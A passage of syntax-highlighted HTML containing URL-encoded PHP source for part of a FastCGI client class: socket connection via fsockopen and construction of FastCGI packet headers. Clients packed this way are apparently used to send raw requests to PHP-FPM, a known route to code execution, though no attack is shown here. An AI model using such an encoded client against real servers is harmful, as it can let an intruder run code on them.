class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>UNKNOWN_ROLE<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%203</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>MAX_CONNS<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>MAX_CONNS<span class="hljs-symbol">%27</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>MAX_REQS<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>MAX_REQS<span class="hljs-symbol">%27</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>MPXS_CONNS<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>MPXS_CONNS<span class="hljs-symbol">%27</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>HEADER_LEN<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%208</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">private</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>_sock<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-keyword">null</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">private</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>_host<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-keyword">null</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">private</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>_port<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-keyword">null</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">private</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>_keepAlive<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-keyword">false</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>public<span class="hljs-symbol">%20</span>function<span class="hljs-symbol">%20</span>__construct<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>host<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>port<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%209000</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%20</span><span class="hljs-keyword">and</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">default</span><span class="hljs-symbol">%20</span>value<span class="hljs-symbol">%20</span>for<span class="hljs-symbol">%20</span>port<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span>just<span class="hljs-symbol">%20</span>for<span class="hljs-symbol">%20</span>unixdomain<span class="hljs-symbol">%20</span>socket<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_host<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>host<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_port<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>port<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>public<span class="hljs-symbol">%20</span>function<span class="hljs-symbol">%20</span>setKeepAlive<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>b<span class="hljs-symbol">%29</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_keepAlive<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span>boolean<span class="hljs-symbol">%29</span><span class="hljs-symbol">%24</span>b<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%21</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_keepAlive<span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_sock<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>fclose<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_sock<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>public<span class="hljs-symbol">%20</span>function<span class="hljs-symbol">%20</span>getKeepAlive<span class="hljs-symbol">%28</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>return<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_keepAlive<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">private</span><span class="hljs-symbol">%20</span>function<span class="hljs-symbol">%20</span>connect<span class="hljs-symbol">%28</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%21</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_sock<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_sock<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>fsockopen<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_host<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_port<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>errno<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>errstr<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%205</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%21</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_sock<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>throw<span class="hljs-symbol">%20</span>new<span class="hljs-symbol">%20</span>Exception<span class="hljs-symbol">%28</span><span class="hljs-symbol">%27</span>Unable<span class="hljs-symbol">%20</span><span class="hljs-keyword">to</span><span class="hljs-symbol">%20</span>connect<span class="hljs-symbol">%20</span><span class="hljs-keyword">to</span><span class="hljs-symbol">%20</span>FastCGI<span class="hljs-symbol">%20</span>application<span class="hljs-symbol">%27</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">private</span><span class="hljs-symbol">%20</span>function<span class="hljs-symbol">%20</span>buildPacket<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">type</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>content<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>requestId<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%201</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>clen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>strlen<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>content<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>return<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>AVERSION_<span class="hljs-number">1</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>version<span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">type</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span><span class="hljs-keyword">type</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>requestId<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%208</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>requestIdB<span class="hljs-number">1</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>requestId<span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>requestIdB<span class="hljs-number">0</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>clen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%208</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>contentLengthB<span class="hljs-number">1</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>clen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>contentLengthB<span class="hljs-number">0</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%280</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>paddingLength<span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%280</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>reserved<span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span 